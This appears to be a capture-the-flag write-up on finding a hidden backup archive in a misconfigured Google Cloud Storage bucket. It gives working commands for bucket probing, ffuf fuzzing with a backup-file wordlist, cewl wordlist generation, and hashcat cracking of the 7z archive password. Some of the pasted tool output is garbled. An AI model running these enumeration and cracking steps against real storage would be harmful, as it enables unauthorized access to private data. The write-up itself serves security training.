Revealing Hidden Files in Google Cloud Storage

background:

Cloud storage can be easy to misconfigure and misuse, and there is also a school of thought that it should instead be split into public storage and private storage services. Where a bucket stores a mix of public and private content, the risk is unauthorized access and a possible breach.

Cloud storage can be easily misconfigured and abused, and there is also a view that cloud storage should be divided into public storage and private storage services. When a bucket stores a mix of public and private content, the risk is unauthorized access and possible vulnerabilities.

A web address is provided:https://careers.gigantic-retail.com/index.html

Direct ctrl+u to see the bucket address

<div class="col-md-6">
<!--                    <div class="right-image">
                        <img src="https://storage.googleapis.com/it-storage-bucket/images/retail1.jpg" alt="Career Image">
                    </div> -->
                </div>

subdomainstorage.googleapis.comis a Google storage service, andit-storage-bucketis the name of the bucket. This bucket name doesn't look like it's specifically for website resources

Install the gcp-cli tool to check whether the bucket can be accessed

gcloud storage buckets list gs://it-storage-bucket

gcloud storage buckets list gs: it-storage-bucketRRoR:(gcloud.storage.buckets.list) User [[email protected] does not have storage.buckets.get access(or it may not exist).storage.buckets.get'denied on resource
does not have permis
on to access b instance it-storage-bucket (or it may not exist): iandaustin22@gmail.
to the Google cloud storage bucket. Permiss

gsutil statgs:it-stObucket index,htma2Egs:it-storage-bucket index.html:
Creation time:
Tue, 26 Dec 2023 17:16:02 GMTTue, 26 Dec2023 20:16:06 GMT
Update time:
STANDARD
Storage class:
11407
Content-Length
Content-Type:
text/html
Hash (crc32c)
NOiHAW==
Hash (md5):
ETag:
Generation:
Metageneration:
rIHCYOZSUEHI1004PfXd0w==
CMTU57HNrYMDEAI
1703610962016068

Prompt no permission

Try using ffuf with a common backup file dict to fuzz it

go install github.com/ffuf/ffuf/v2@latest
wget https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/backup_files_only.txt

 ffuf -w backup_files_only.txt -u https://storage.googleapis.com/it-storage-bucket/FUZZ -mc 200 -c

    /'___\  /'___\           /'___\
   /\ \__/ /\ \__/  __  __  /\ \__/
   \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
    \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
     \ \_\   \ \_\  \ \____/  \ \_\
      \/_/    \/_/   \/___/    \/_/

   v2.1.0-dev

:: Method : GET
:: URL : https://storage.googleapis.com/it-storage-bucket/FUZZ
:: Wordlist : FUZZ: C:\Users\Administrator\ssh_keys_backup\backup_files_only.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200

backup.7z [Status: 200, Size: 22072, Words: 102, Lines: 101, Duration: 374ms]
:: Progress: [1015/1015] :: Job [1/1] :: 105 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Found backup.7z downloaded

https://storage.googleapis.com/it-storage-bucket/backup.7z

Unable to decompress password required:

Organizational jargon, products, slogans, etc. may all be used as passwords. Let's use cewl to generate a custom word list based on the text of the careers page. We can then use this word list to perform an offline brute force attack on a password-protected archive.

apt install cewl
cewl https://careers.gigantic-retail.com/index.html > wordlist.txt

Next install7z2john.pl, which will create a hash representation of the archive file for cracking using John The Ripper. However, we are going to use Hashcat instead, which requires a slight change to the hash value.

wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/7z2john.pl
apt install libcompress-raw-lzma-perl -y

Run the command below and remove from the generated filebackup.7z:, so that only the hash value is left. This will make it compatible with Hashcat.perl 7z2john.pl backup.7z > backup.7z.hash

hashcat --example-hashes | grep -i -B1 7-zip

Then use hashcat to crackhashcat -m 11600 backup.7z.hash wordlist.txt

You can decrypt it and get the flag